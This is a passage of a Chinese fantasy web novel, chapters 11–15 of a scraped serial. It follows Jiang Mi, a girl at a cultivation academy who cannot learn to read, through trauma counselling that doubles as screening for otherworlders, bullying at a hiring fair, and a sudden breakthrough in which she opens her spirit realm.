崔大说:“我爹经常给我讲故事,他也有很多时候没空,他说识字就能自己看故事了,但字很难,我每次学不下去他就用半个故事吊着,就慢慢学会了。” 一千零一夜啊,是个好方向。 李二挠脸说:“其实我也不喜欢,但我娘说不会字什么都做不成,规定时间内没学会新字就抽我,学会有糖吃。” 打一棒给个枣,嗯,可以试试。 周三倒是很轻松道:“我小时候喜欢往树林钻,小时不懂,看字觉得像花草树木,自然就学会了。” 这位是个怪才啊。 江弥听他们说幼时识字的趣事,很久后男孩们才在灰暗的灯光下勾肩搭背地离开。 孙柏柔洗漱完上床,正要叫江弥早点睡,转头见她十分认真地对着镜子说话。 “今天看到好看的柳树,心情很不错。” “小伙伴们担心我,帮我带饭,我很感动。” “大家一起畅快夜谈,十分开心。” “我喜欢文字,超级喜欢,”江弥卡了下,继续,“因为它长得很有趣。” 等江弥躺上床,孙柏柔忍不住问她:“你刚才……在做什么?” 江弥:“我打算用积极 11. 011 《他们要我成为异世大佬》全本免费阅读 启蒙院设有医署,给人看病的地方。 顾臣的安心居就在医署的尽头。 江弥还没开始接触修行常识,但孙柏柔他们讨论这些时也不会刻意避开她,江弥便听到不少。 修行就是在一步一步爬山登天,道途众多,殊途同归,这个过程被具象化为登仙梯,一层一阶,十二阶登顶。 踏入修行的修士通常在一到三阶时决定道途,或兵或星或巫,或无所归属的杂道,也有从修炼时便选定修行方向的,如邢歌,一阶时便选择兵灵道,成为兵修。 巫道是众人走出的最宽阔的一道,包含医术分支。 启蒙院的医署不单是看病的地方,也是未来走上医修的孩子们的课堂。 江弥问过邢歌和蔡平秋所谓的心理检查是什么。 邢歌的回答简单得多:“不用太在意,问什么答什么就好了,一般是适不适应啊,平时喜欢做什么啊,修炼遇到什么问题之类的。” 蔡平秋则说得更全面些:“你们还小,思想不成熟,经过刺激后很容易心生阴影,也有不少人思想偏激扭曲,这会让你们在修行之路上走向灭亡。启蒙院不会过多干预你们的生长,只做适当的引导。当然,也会杜绝祸害人类的恶魔成长起来。” 江弥怀疑“恶魔”说的是异世者,安心居就是第三道身份审查。 但江弥已经很久没思考异世者的事情了。 她连字都识不清,想这么多有用吗? 没用。 于是江弥在去安心居的路上还在自我催眠。 她抱着大字书穿过安静的医署,来到更为僻静的小居院,院子里种了棵叫不上名字的树,还有几盆开得正艳的花。 江弥敲了下门,里面传来请进的男声,她推开半掩的门,顾臣正在同另一位学员聊天,只停留片刻,那学员起身离开,顾臣让她过来。 江弥走过去,乖乖坐下来,等他提问。 顾臣笑着说先不急,起身去外面院子端了盆水,洗手完走来,结果路过桌子时蹭掉了案卷,纸张散落一地。 “抱歉,能帮我整理下吗?”顾臣示意自己沾水的手,“资料挺重要,弄湿就不好了。” 江弥将大字书放在桌上,跳下椅子开始捡,捡着捡着她忽然叹了声。 正在拿白布擦手的顾臣闻言看去,就听她说:“太漂亮了。” 顾臣听过不少人夸他的字,说他字迹赏心悦目的有,说他字迹苍劲有力笔走龙蛇的也有,但形容漂亮的,他回忆片刻,还真没有。 顾臣笑问:“怎么个漂亮法?” 江弥将纸张整理好,爬上椅子坐下,指着标注最多的那张纸认真说:“这个是虫鸟蛇扭打在一起,很有生机,这个是毛线团,很温暖,还有这个……” 她对着纸张上最大的古字,费劲儿思考,最终还是吐出“蚯蚓窝”三个字,说完江弥立即找补:“蚯蚓窝也没什么不好,我挖过蚯蚓窝,它们的生命很顽强,也是很漂亮的文字。” 顾臣:“……我给你开服药带走吧。” 江弥将纸张整齐放在桌角:“顾教习,我觉得我没有哪里不舒服。” 顾臣擦净手走来,姿态放松地坐在她对面,提笔蘸墨,随口问她:“喜欢什么?” “我喜欢文字。”江弥几乎是不假思索回答。 顾臣看她:“据我所知,你还没认出一个字。” 江弥摸着她的大字书:“我们闹了点矛盾。” 顾臣:“……你和谁?” 江弥:“字灵。我怎么哄它都没用,你能感受字灵吗?能帮我问问它还要我改哪里?” 顾臣将笔搁置在一旁,两手交叉放在唇边,目光注视她:“你为什么讨厌文字?” 江弥特别真诚地说:“我喜欢文字。” 顾臣没有否认,而是说:“我们换个角度,你讨厌什么?或者说,你在恨什么?” 真犀利啊! 江弥垂下眼,手指拨弄书页。 顾臣说:“你很聪明,心智成熟,性格沉稳,蔡平秋对你的评价很高。启蒙院像你这样的孩子不少见,我接触过不少,所以我想,接下来说的内容,你应该能承受——” “我看过你的审查报告,你没有直接看到父母的死亡场景,而是被一对兄弟拐走后直面阿玲的死亡。她是被人杀的,所以你讨厌人吗?” 江弥指甲扣着书皮:“这也是审查?” 顾臣:“不是,我们在找你识字障碍的原因。能跟我谈谈当时的细节吗?” 江弥:“谈了就能记住字?” 顾臣:“我没办法给出保证,但值得尝试。” 江弥沉默半晌,还是开口:“我听到爹娘在说很奇怪的话,邪祟附身请大仙什么的,还提了阿玲姐的名字,我很担心,因为阿玲姐是唯一对我好的人。” 顾臣问:“阿玲表现异常?” 江弥:“她很善良,我迷路了她会送我回家,遇到危险也挡在我面前,她一直是这样的。” 顾臣:“然后呢?你将你爹娘的话告诉她了?” 江弥摇头:“我见到她的时候那对兄弟从天而降,将我们抓走了。她挣扎得很厉害,偷偷说会带我逃跑……他们在外面烤火说话,屋里很黑,木头味道和腥气很重,阿玲姐躺着不动,血从鞋底流过去,我的脚能感受到热度,他们还在说话。” 顾臣:“你恨他们?” “恨。”就像她不假思索说喜欢文字一样,江弥也毫不犹豫地说恨。“但是他们死了,被死神杀了。” 顾臣食指在手背上点了两下:“你知道他是死神,但报告上没有提到这点。” “我要自己杀掉他,”她语气笃定,并不为现在还没修炼入门而动摇,“我会成长起来,再杀掉他。” 顾臣提醒:“你还不识字。” 江弥点头,问他:“我的识字障碍症什么时候才能治好?” 顾臣戏谑问她:“你似乎觉得一定能治好。” 江弥抱着书跳下椅子,仰头问他:“顾教习没其他问题我走了,下次我会准时来。” 然后看着顾臣,等两秒他没说话,转身走了。 顾臣从那叠案卷中抽出属于江弥的资料,看到三堂给出的评价:“条理清晰,沉稳坚韧,但有小脾气,红等。” 他重点看了眼“但有小脾气”几个字,然后添上新评价:“识字障碍,心理因素不明,疑似仇恨。” 顾臣翻着江弥的资料。 江弥的情况很特殊,单接触过守望军和死神就已经够他们关注了,更何况她还从死神手中逃生。巧的是,她还是唯一幸存者,没人能佐证她话中真假。 顾臣看着桌角那份资料,上面写满标记。 “识字障碍啊。” 目前捕获的异世者中,没听过有识字障碍的。 据天诛院的报告来看,这些异世者天生受文字认可,还是灵性极高的那种,几乎看到文字的瞬间就理解其含义。 从这方面来看,江弥不可能是异世者。 但异世者在这方面伪装,也不是不可能,加之她同守望军接触过,加大这种可能性。 · 江弥走在阳光下听到说话声,才缓缓舒出口气,背后出了层虚汗。 她猜得没错,安心居就是第三次身份审查。 观察期一年,十二次。 她知道自己必定是重点观察对象,却没想到这个顾臣这么不好应付,从她进来就在试探。 她虽然记不住字,却还是分得清拆字和古字,散落资料上的都是古字,但现在的书面语都是拆字。 应该是在试探她是否真的不识字。 这也能作为判断异世者的标准之一吗? 她觉得自己现在就像躺在热锅上,敌人加大火力猛火熏烤,各种旁敲侧击百般试探,她却被字灵逼得只能老老实实做条咸鱼。 翻不动,完全翻不动。 一道响亮的大哭打断她思绪。 江弥真的好久没有听到这么小孩子的哭声了,扭头去看,不远处的墙后正在上演校园霸凌。 观察三秒,江弥扭头就走。 没走几步听到邢歌怒斥,然后是被打得乱跑乱窜的声音,欺凌 12. 012 《他们要我成为异世大佬》全本免费阅读 江弥拉住他衣角:“陆学长,救命。” 陆怀看她一眼,还是坐下来,将她手里的书拿来,翻了几页,手指动作轻缓地写了个拆字。 奇怪的是,他写出的半透明字迹不像孙柏柔写完马上消失,而是悬停不散。 “你看这个拆字,它是‘陆’,出现在古字‘陆地’中,就是这个,”陆怀指着书页上的古字,“有动作含义的古字笔画多,代表事物的古字则要简单些。” 江弥点头,这点她也发现了。 直接看古字还是能看出来,毕竟只是比较蚯蚓数量。 “有含义的字才能留存,我们可以回溯字原本的模样。”他说着,也随手将“地”的拆字写出来。 “陆”“地”并排放在一起。 他指尖出现点点星光,星光拉成线缠绕在两个字上,接着跟拆机器零件般,一会儿抽来个S,一会儿拉出个O,最后的~抽离完,拆字已经消失,只剩下一个个在半空中旋转蠕动的小东西。 阳光中奇形怪状的符号构成奇妙又玄古的一幕。 陆怀说:“注意看。” 在星线的操纵下,数十个笔画飞快组合在一起,在古字组成的刹那,江弥意识仿佛被抽离,她不是坐在草地上,身边没有陆怀,而是化作一缕风,经过宽广的大地,上面有草坪覆盖,有山川寄宿,也有森林成片,她又来到海中岛屿,成群海兽在岸边晒太阳,海风咸湿,掠过湖泊中地,惊动飞鸟振翅而翔,雪白明亮。 江弥从震撼中醒来,扭头望向陆怀,眼含期待。 陆怀摇头:“你通过我的视野看到它,只能帮助你理解,却不会让你和它共鸣。也就是说,还是得靠你自己。” 江弥也不恼:“我感觉跟‘陆地’熟悉多了,谢谢陆学长。” 陆怀重新将书还给她,起身时衣袖拉扯,江弥看到他脖颈后方有一颗隐约是星星的标记,再眨眼,标记消失。 他快找到本命星了吗? 修炼速度真快啊! 趁着感觉还在,江弥打算去丁四教尝试写字,然后再次被陈教习轰出教室,她站在路中央思考两秒,只能继续去藏书馆和书培养感情。 江弥一次次尝试,又一次次失败。 她日复一日地去藏书馆,在饭点提前去食堂等小伙伴吃饭,听他们讲着奇奇怪怪的修行故事,晚上再和孙柏柔回西舍,对着镜子继续心理暗示。 心里却一日日急躁起来。 这种情绪只有自己能清晰感知到,她还是面色平静地听崔大讲齐乐和他们有多不对付,看李二愤愤说下次要报复回来,然后在周三和孙柏柔商量对策时,面无表情补充几点能痛击对方又不着痕迹点子。 她表面云淡风轻,内心却充斥着焦虑、茫然和不安,这些情绪让她如油烹火炙。 有次傍晚和小伙伴们去湖边散步,他们四人在前面走着笑着,欢快声传出很远,江弥忽然觉得好似雾里看花,一切都是虚无缥缈的。 她停下来,看到湖中的自己,她觉得自己掉下去了,正在下沉,窒息和漆黑挤压着她。 孙柏柔打开心界时,这种情绪达到最高点。 打开心界是踏入修炼之路的标志。 她明白这不是嫉妒,而是所有人都在往前,她却连抬脚都做不到,只能停留在起点线。 她知道自己的目标在哪里,也就更加清楚路之艰险,而所有的艰险都需要实力与之抗衡。 她没有实力。 又是半个月后,周三也打开心界。 五天后,崔大打开心界。 李二同江弥龇牙:“看来我得和你一起了。” 一个月后,李二也打开心界。 某天夜里,孙柏柔练五行术练魔怔了,梦里也在练习,江弥被从天而降的水兜头淋醒,湿哒哒地从床上爬起来,对着吓得快要哭的孙柏柔说:“你的房间空了很久,回去吧。” 孙柏柔一下子哭出来:“对不起,我下次不会这样了。” 江弥找出干布让她擦水,自己随便扒拉了下头发,沉默了会儿说:“你不觉得累吗?提到修炼的事总要先确定我心情再决定要不要说,不敢问我认字的事,也不让崔大他们提。我看得出来,你资质比他们强,明明可以和崔大他们一起去乙楼练习术法,得到教习指点,你却将时间用来陪我,不浪费吗?” 她的语气没太大起伏,只是陈述着事实,可却孙柏柔拿着干布眼泪哗哗落,一个劲儿摇头,水珠洒得到处都是。 江弥走上前,将她拉到椅子上坐着,拿走干布给她擦脸,又捧着她头发细细的擦,语调平缓道:“我们现在步调不一致了,你能修炼厉害术法了,我还被字灵拦在门外。你顾及身后的我,我跟不上前方的你,我们都很累,不如保持各自的步调,你我都轻松些。而且我料出识字问题在哪,但不是短时间内可以解决的。” 孙柏柔回头看她,眼睛通红,跟只兔子似的:“什么问题?我们帮你。” 江弥平淡说:“只能我自己来。” 孙柏柔就又垂下头。 江弥心里叹了声:“我的心理问题,应该是从大混沌开始的。” 孙柏柔忽然鼻酸难忍,心里很难过。 他们五人大部分时间都在一起,说说笑笑,打闹搞事,但每个人心中都有无法触及的大洞。 崔大看着活泼,却暗地里发狠地修炼,李二见他们打开心界自己干着急,好几夜没睡,周三总是跟着崔大李二闹,却很少提自己的事。 还有江弥。 很多人提到江弥只会将她与唯一幸存者联系起来,说她运气好,又拿这件事来诋毁贬低她。 因为她总是他们中最沉着冷静的那个,即便提到大混沌也不曾露出丝毫情绪,以至于他们也会忘记,她在大混沌中遭遇过怎样的地狱。 孙柏柔低声说对不起,一声连着一声,快要自责死了。 江弥将干布放在桌上,自己坐在她对面,撑着下巴问她:“你对不起我什么?” 孙柏柔抬头看她,眼睛还在掉金豆豆。 “你没有对不起我。”江弥说:“我只是让你回去睡觉,没说要断绝来往,你十二岁没长大,要人陪着睡觉,我不想别人也这么说我。” 孙柏柔被她说笑,然后气瞪她:“你突然说这些,我以为你要跟我绝交。” 江弥摇头:“你编的辫子比我好看,我舍不得。” 孙柏柔抹着眼泪立即道:“那我每日上课前来给你编辫子。” 将孙柏柔的东西送到隔壁,还有不少小东西得明天拿,弄完后已经是半个时辰后了。 江弥回屋,将湿被子放在桌子上,打算明天拿出去晒,今晚就卷着床单将就一晚。 手指刚触碰床单,剧痛蓦地袭来。 江弥捂着眼睛跌在床上,冷汗直冒,左眼剥离 13. 013 《他们要我成为异世大佬》全本免费阅读 江弥坐下来时顾臣连头也没抬,似乎正在分拣资料,随口问她:“我记得这是最后一次。” 江弥点头:“以后我有心理问题可以来拜访吗?” 顾臣:“我很忙。” 江弥:“可一院只有你是心理辅导教习。” 顾臣放下手中资料,从另一旁抽出江弥的,不跟她东扯西拉,直入正题:“最近感觉怎么样?” 有点正常心理辅导的味道了。 江弥思考片刻说:“还行,今天是择选日,我打算心理辅导结束后去问问,看有没有适合我的活。” 择选日是启蒙院给无法修行或修行不下去的人恢复普通人生活的机会。 这是放弃修行的意思了。 顾臣略抬头,有些惊讶看她。 他是见过江弥有多执着的,大字书从不离手,每日待藏书馆直至被教习赶出来,蔡平秋还跑来他这里感叹说劝都劝不动——她听别人说生死之际最容易激发潜能,于是在水中泡了一夜,大病一场。 顾臣问:“你想找个什么样的活?” 江弥就当没听出来这是试探,认真思考说:“太劳累的不行,我还在长身体,太繁琐的不行,我不识字做不来,工钱太少也不行,我还准备以后自己做营生,得攒钱,综合看下来,顾教习觉得我可以做什么活?有熟人介绍吗?” “你倒是想得美。”顾臣话锋一转,问道:“前阵子死神又在混沌出现,不想听听?” 江弥:“你说。” 顾臣没计较她态度,道:“十日前他在大混沌杀了刚降临的异世者,据天诛院猜测,他在灭口。” 江弥:“真厉害啊,想杀谁就杀谁,我当初为什么会雄心壮志说要杀他呢?” 顾臣:“不想报仇了?” 江弥:“想。有一天我忽然想通了,想杀他的人不止我一个,那些人各个都比我厉害,所以我等着他们将死神杀死,为我报仇,我只要好好活着,活得足够久,一定能等到这天。” 顾臣被她强大的自我安慰能力震到,一时没分辨出来这是在满嘴胡言还是真这么打算的。 “你能想这么开还天天往这里跑。”顾臣在她资料上写了什么,然后放到一叠卷宗上,“行了,出去吧,别来了。” 接着拿出另一份资料准备看下去,见江弥还不走,抬头:“还有事?” 江弥坐得端端正正:“真的没有适合我的活计吗?我听说有熟人介绍工钱高些。” 顾臣:“出去。” 江弥有点失望地跳下椅子离开。 走出院门,她歪了下头,那份资料她是不是看到过?总觉得有点熟悉啊。 她记忆力不错,但是在文字上完全没用,跟脑袋上破了个口似的,尽是漏字。 片刻后江弥选择放弃,转道去心一院大门。 她说去择选日是认真的,无法认字也不能修炼,可她还要活下去。 启蒙院里并不是有所人都会选择修炼这条道路。 在混沌中活下来的不单是孩子,还有成年人。 修行资质是有生长曲线的,一个人的资质上限出生就定了,六到十六岁是资质逐渐发展并稳定的阶段,若在这期间没踏上道途,而越往后,资质会逐渐减小乃至消失。 所以大混沌中能活下来的大多是小孩少年,中年老年十之八九会被异化成魊。 考虑到异世者因素,启蒙院也会留下成年人,经过一年的审核期后,这些人可以选择离开或留下。他们通常因为资质无法在道途上走太远,多数选择离开。 也有不少孩子放弃道途,心理阴影、害怕死亡、无法坚持等等,也会选择回到普通人的生活。 江弥现在也变成其中一员。 择选日每年一度,在启蒙院门口举行,十分热闹,也是这日,启蒙院没有禁令,可以随意外出。 通俗理解的话,择选日其实就是招聘日,启蒙院是大型的人才市场,前来择人的面试官一般来自商户、官家和一些大户人家。 启蒙院里,不管是已经启蒙识字的成人,还是拥有资质的小孩,都是普通人愿意招揽的,运气好的话还能淘到几个低阶修士,雇来做侍卫或是表演术法,不光长见识,带出去还有面子,运气再不济,识字的还能培养成账房先生或少爷小姐的书童。 启蒙院出品的待业人员称得上抢手。 但江弥看到门口人山人海时,还是被震惊到了。 她思考着要不要晚点来,她这副小身板挤进去,出来就不知道还是不是完整的。 正想着,一只手把她往旁边一拨,后面人推搡着将她带进人群,还有几道不爽的喝骂声—— “拦你大爷的路,一边去!” “哎谁啊,竟然拦老大的路哈哈哈哈!” “诶?她好像是那个谁?嘶——谁来着?” “什么谁,小路阿北几个快挑挑,挑好了小爷以后修成高阶修士,带烟花爆竹给你们撑场子去。” 江弥在人群里稳住身体,再望去时几个瘦挑的少年搂着走远了。 江弥没放心上,开始左右观察,认真挑工作。 ——“不识字啊,不行不行,不识字的孩子一抓一大把,我来启蒙院就是为了找小修士。” ——“你这胳膊手指,丫头啊,没做过重活针线活吧,我这活啊,不适合你。” ——“给我家小姐当丫鬟轻松着呢,就端茶倒水哄小姐开心,什么,这工钱你还嫌低?走走走,别挡着下一个。” ——…… 有位心善的阿爷让她在启蒙院再待一年,说识字了明年带她走,她没忍心告诉对方她学不会字。 这么从头逛到尾,江弥发现自己一无是处。 江弥望着面试官和应聘者言语厮杀口舌相争,心想自己是不是该学个什么技能增加竞争力啊。 “我记起来了!她不是那个跟咱们一起做身份审查到现在还没学会一个字的……那个谁吗?” 刚才见江弥面善后跟在兄弟们身后冥思苦想许久,终于想起这么一号人存在。 这么一提,齐乐也记起来了。 “是不是那个被咱们嘲讽后崔大那群货找上来干架从此结下梁子的……”他费尽从脑海里翻找,“江……江弥?” “对!江弥,就是这个名字。” “大混沌唯一幸存者!” 几人七嘴八舌说着也都想起来了。 刚来启蒙院那会儿,江弥是他们中最常拿出来说的那个,不和他们出自同一混沌却一起审查,比他们早来启蒙院,蔡教习忙就会叫他们去找江弥。 其实这么发展下来,他们这批小孩应该都跟江弥关系不错,至少不会是连名字都记不起来的地步。 但中间出了个齐乐。 齐乐胆子大心思多,在小孩们刚进启蒙院各种不安惶恐时站出来,拉上几个同样大胆的做小弟,时不时以关心的名义拉拢人,倒是凝聚了十来个人。 接着江弥不识字闹得人尽皆知,齐乐有意打压她提高自己在小弟面前的威望,让人到处说她坏话,被孙柏柔几人听见,那日刚下课就堵着他们打了一场,两方就此结下梁子。 后来江弥十分低调,除了那四个极少同人交往,齐乐也没兴趣再关注了,就是这一年来跟孙柏柔几人各种不对付。 想到孙柏柔几人,齐乐突然牙疼。 他手肘搁旁边兄弟肩上,睨向路尽头的瘦呆小孩,胳膊一伸,搂着兄弟脖子往那边走:“走,瞧瞧去。” “哟!谁啊这?”声音又欠又贱。 江弥看着刚才撞完她走掉的四人走来,问:“你们来道歉吗?我没事,下次小心点就行。” 一脸不怀好意的齐乐和三少年:“?” 她这么单纯是怎么从大混沌里活下来的? 这一年里齐乐长高不少,他本就在几个孩子里年岁较大,这会儿站在江弥面前还得低头:“道歉?道什么歉?” 江弥抬眼看他:“你们刚才撞了我。” “拦路的那个。”小弟提醒。 齐乐:“是你啊,你拦我道还没找你算账,你倒是先颠倒黑白了啊。” 江弥看他两秒,从善如流低头:“那我道歉。” 她的不按理出牌让齐乐奇了下,他没和江弥正面对过,孙柏柔护人护得跟什么似的,就护出这么个……没骨气的小呆花? “道歉就……”想到什么,齐乐语气一转,脸色转晴,“都是心一院的,道歉就算了。我倒是听说你还不识字,孙柏柔几人太不懂事了,这种事怎么也不跟我说说,正巧小爷几个有空,小路。” 齐乐后退着扭头去看一麻杆少年,笑说:“你最近不是学符,符就是字啊,你来教教她。” 叫小路的少年有些为难:“我符没学好。” “你蠢啊你,再怎么也比不识字强啊!” “就是就是,小路上!让她看看什么叫符,她还没见过呢!” 江弥朝他们身后看了会儿,不远处有人察觉这边动静,但没有过来阻止的意思,侧方倒是有路,跑过四个比她高的少年没可能。 风水轮流转啊。 江弥无视别人被欺凌,现在就轮到她被欺凌。 这里人多,就算闹也不会闹很大,顶多挨点痛。 < 14. 014 《他们要我成为异世大佬》全本免费阅读 符文化作燃着火光的灰烬消散时,江弥似乎听到了孙柏柔的声音,但下秒她没空思考这些了。 一枚枚半透明古字在她身前浮现,古字上的符号忽然变成具体景象,花鸟虫鱼,山川河流,云起雾涌,绿海幽林。 她的意识被分割成无数片,古字上传来牵引之力,犹如无形的线将她拉进浩瀚无边的世界。 碧天白云之下,远处雪山融化的雪水汇聚成流,将无边草原分成几块,一群麋鹿在溪旁饮水休憩。几只麋鹿忽然警惕四望,立即掉头奔跑,藏身的狮子一跃而起,动作迅猛地追赶麋鹿群,一口咬断坠在最后的麋鹿幼崽。 这是“弱肉强食”。 宽阔湍急的河流被青绿色覆盖,近看却是无数脊背青绿的小鱼,它们逆水而上,从汪洋大海回溯到河流上游,一部分因体力不支而留在中途,一部分经由清浅水湾时被沙石划伤死去,还有来自浅滩水鸟的捕食,它们最终来到它们的出生地,产卵后成群结队地死在这里。 这是“繁衍”。 陡峭的悬崖上寒风凛冽,灰羽老鹰在峭石上岿然不动,刚长出羽翼的小鹰被风吹得抖动,它视力很好,能看到横斜出来的树干上缠绕着一条蛇,它的食物。老鹰叫声嘹亮催促,小鹰还在看食物,老鹰振翅一拂,小鹰坠下悬崖,高压之下羽翼震动,它飞起来了,越飞越快,扑向那条蛇。 这是“成长”。 …… 江弥透过过去的记忆看到了每个文字被创造之初的景象。 齐乐几人离她最近,最能直接感受到发生什么。 一阵无形能量将他们震开后,半空忽然浮现古字,一枚,十枚,百枚,某个瞬间,三千古字爆发般迸现,将附近的人都卷了进去。 只有陆怀反应及时,拉着邢歌极速后退,避开古字笼罩的范围,站稳后他松开邢歌,收回孙柏柔身上的星线。 孙柏柔这才想起陆怀说了什么,惊喜道:“江弥开心界了?” 她连忙看去,却见无数古字以江弥为中心散开,她似乎沉浸在什么中,没能跑掉的崔大李二周三和齐乐几人也犹如入定。 邢歌摸着下巴啧啧两声:“我的感觉没错,江弥果然不同寻常。” 陆怀侧头看她一眼,邢歌做了个“你否认试试”的威胁表情,陆怀没什么脾气地笑了笑,也去看江弥,表情有些复杂。 这边动静太大,又是择选日最热闹时,看热闹激动议论的人将道路堵死,还有不少出院玩的学员也跑来一看究竟。 邢歌拦在前方:“看什么看?别往这边挤!我说别挤了喂说的就是你!” 眼看邢歌捏着拳头就要将人拎着扔出去,陆怀握了握她的手,将她拉到身后,五指抽出星线横亘在脚下,阻拦试图靠近的人。 后方人群分开,有教习来这边查看情况。 陆怀主动过去解释事由,这名教习认识陆怀,听陆怀说正在开心界便没说什么,帮他将围拢的人群驱散。 但择选日就在这里,也不可能真的将所有人赶走,教习站在这里震慑,一边跟陆怀聊天。 看得出来这位教习是真的喜欢陆怀,一连问了几次他什么时候去小术院报道。 待到午时,还在好奇的人不多,教习还有工事离开了,孙柏柔守在崔大三人和江弥中间。 中间邢歌出去买了饭回来,吃完觉得无聊,在原地打了一套拳,又推开陆怀抱起他坐着的石头练体力。 这么跳跳练练,邢歌还睡了一觉,醒来已是傍晚,江弥几人还没醒来。 孙柏柔走来:“邢学姐陆学长,晚上还有禁令,你们先回去,我会守着他们的。” 邢歌确实等得有些无聊,择选日的人都已散去,她伸着懒腰点头,陆怀也说:“不用担心禁令的事,我会同教习说明情况。” 邢歌已经大步往启蒙院走了,陆怀三两步到她身边,去食堂的路上,陆怀忽然问:“你很喜欢江弥?” 邢歌中午吃得少又练了那么久,肚子早饿了,听了他的话随意点头,脑海在想今天食堂有什么吃的。 陆怀说:“不要和她走太近。” 邢歌终于将注意力从满脑子吃的移到这个话题:“为什么?” 陆怀只说:“你和她的未来走向不好。” 邢歌双手背在脑后:“哎怎么说呢,我其实不太信这个,但我觉得你的占星术不可能有错,你占到什么了?我和江弥绝交?还是分道扬镳?总不会……” 邢歌想到什么抓着陆怀胳膊,看他眉头抽了下才松手,但还是很紧张问:“我应该不会一生气将她给捏爆了吧?” 江弥那么小一只,这种可能性非常大。 “还是我不小心一剑将她捅了个对穿?看来我以后不能在她面前拔剑了,”邢歌自顾自说,然后觑了眼陆怀神情,松口气,“不是吗?那就好。” 陆怀说:“你就没想过会反过来?” 邢歌啧啧啧摇头:“不可能,绝对不可能。江弥不是我对手,而且她也不会那么做。” 陆怀沉默,他知道邢歌是怎样的性格,她的世界很简单,黑白分明,信任一个人就会信任到底,恨一个人,也会恨到底。 邢歌拿胳膊撞他:“你说啊,到底占到什么了?” 陆怀说:“只是感觉。” 邢歌当即就不在意了:“感觉这种事情也会出错,说来你占星术那么厉害,有没有算过我们的走向?” 陆怀顿了下,抬眼看她。 邢歌被看得莫名:“怎么了怎么了?你怎么一副要哭的样子,总不是我也将你一剑捅了个对穿?你是不是又惹我生气了?还是你又说那些话?奇怪,我以后的脾气那么差吗,竟然会因为这种事将你捅穿?我告诉你啊,我好不容易勉强不计较你说的那些话,不许说,以后也不许说!听到没有?不然,我将你捏爆!” 她做了个十分凶残的捏爆动作。 最近力气增长许多,她觉得自己完全做得到。 随即胳膊搭他肩上,一脸为他好的样子:“为了你的小命着想,不准在我面前提异世者,不然我真让你哭天喊地!” 陆怀问:“要玩狐狸吗?” 邢歌当即不再计较他未来可能气自己的事,搭在他肩上的手摸他后颈:“你不是说这是貉?” 陆怀:“我给它取名狐狸。” 邢歌哈哈大笑,压低声音说:“这是你的秘密,我们吃完饭去你西舍玩。” 陆怀点头,又说:“今天食堂有板栗鸡,我的鸡肉都给你。” 邢歌抱着他脖子大呼:“陆怀你怎么对我这么好?你是我娘吗?!我太爱你了!” 陆怀:“……” · 崔大等人从漫长的记忆中回过神时择选日结束了。 夜幕已至,四周一片漆黑,只有孙柏柔手里的灯笼散发暖黄光晕。 “卧槽!” “卧槽卧槽!” “卧槽卧槽卧槽!” 孙柏柔提着灯往前探了探:“说人话。” 崔大满脸震惊:“卧槽,那是什么?我怎么觉得我好像做了一场大梦,梦见被蚂蚁吃了被火烤熟被水蛭吸干血!” 孙柏柔点评:“好惨。” 李二嘿嘿笑:“我还不错,鸟语花香绿荫环绕,好舒服,我快睡着了。” 孙柏柔扭头去看周三:“你呢?” 周三:“……穿裙子跳舞。” 孙柏柔扑哧笑出 15. 015 《他们要我成为异世大佬》全本免费阅读 江弥沉吟片刻,想问心界怎么回事,周三忽然说:“你刚打开心界还不清楚,识界是一个修士的秘密,隐藏着致命弱点,不能问,也不要说,常识性的问题教习会在课堂上讲。” 江弥点头:“我知道了。” 李二立马问:“你还记得白天发生了什么吗?忽然就掀起一阵狂风,然后很多古字在你身边,我们还被带进了奇怪的梦境里。” 崔大扭头也说:“我草那梦太可怕了!” 江弥也不太确定道:“可能是与字灵和好后,它高兴在庆祝?” 崔大问:“你见到字灵了?” 李二也好奇:“你做什么让它消气了?” 周三捕捉重点:“你现在可以开始识字了?” “不,我已经会字了,”面对四双热切看过来的眼睛,江弥缓慢补充,“所有。” 四人齐齐抽气,他们虽然会古字,但并非全部。 古字三千,常用的也就占一半,启蒙院的丁楼只负责将学员带入门,像江弥手里的大字书,也才五十字,学完十本就算识字了。 也就只有研究符文和咒文的修士会学全古字。 周三搂着李二的肩膀惊叹:“你这也太逆天了,要么一字不识,要么一日全知。” 李二也点头:“不愧是江弥。” 崔大忍不住凑近她悄声问:“你应该还没逆天到直接一阶吧?” “瞎说什么,直接一阶不叫逆天,这是变态!况且江弥是厚积薄发,你们又不是不知道她有多努力。”孙柏柔拉开崔大,上前抱住江弥,真心为她高兴,“太好了,你能修炼,我们又可以一起上下课了!” 孙柏柔是真的开心,她是最能直观体会江弥对识字这事有多执着的人,也就知道让她放弃识字有多难,这些时日,她感觉江弥正在放弃自我,远离他们。 孙柏柔来择选日只是为了验证她的猜想——江弥是否准备放弃修行。 好在事情有了好的转机。 相较小伙伴的开心,江弥心绪就比较平静,开心定然是有的,只是早就做好接受最坏结果的打算,也就更能坦然地面对好结果。所以得知自己打开心界的瞬间,她很快就接受了,令她比较在意的反而是—— 我的识界为什么是黑的? “说起来我还要感谢一个人,”江弥忽然说,“要不是他好心帮我,我也不会爆发潜能打开心界。” 几人齐齐去看齐乐,却见那里空荡荡,齐乐等人早趁他们交谈时偷偷溜走。 半刻钟后,江弥指着正尝试用乘风术翻墙的齐乐几人,对一起过来的教习道:“就是他们,禁令已过,他们还在外面逗留。今晚是我们恰巧有特殊原因才晚归,但这样都让我们碰到……” 未尽的话小伙伴们积极补充—— “是啊教习,我们第一次晚归就碰到这种事,这得是多小几率才发生的事啊,指不定是惯犯。” “这翻墙动作的熟练度,没有二三十次,少说也得十几次了吧?” “这伙人挑衅心一院纪律,应当严惩!” 齐乐听着他们一唱一和,一怒之下将怎么都过不去的小路一把举过头顶扔进去,朝几人怒道:“你们要不要脸,还喊教习来!” 教习狐疑看几人:“你们认识?” 崔大连忙摇头:“不认识不认识。” 李二指齐乐:“他把人举过去的动作熟练到我们不可能认识啊!” 周三:“打击报复,翻那么多次就这次被我们发现举报,绝对是打击报复!” 齐乐:“沃日啊!” 然后被教习用藤蔓五花大绑,只能看着崔大几人拍拍屁股离开。 他仰天大骂:“你们这群牲口!” · 几人沿着寂静无人的小道往西舍方向走,虽然又累又饿,但大家心情都很好。 冰凉月色下,两个小姑娘手牵手说话,孙柏柔正在给她分享丙楼的上课经验,哪些常识课必须听,哪些看书就行,不同教习的脾气是怎样的,努力让她尽快适应上课节奏。 孙柏柔说得很细致,这些她从前不太在江弥面前提的事,现在像是要一股脑说完般,江弥听得也很认真。 她们身后,总是吵吵嚷嚷的三人难得安静下来。 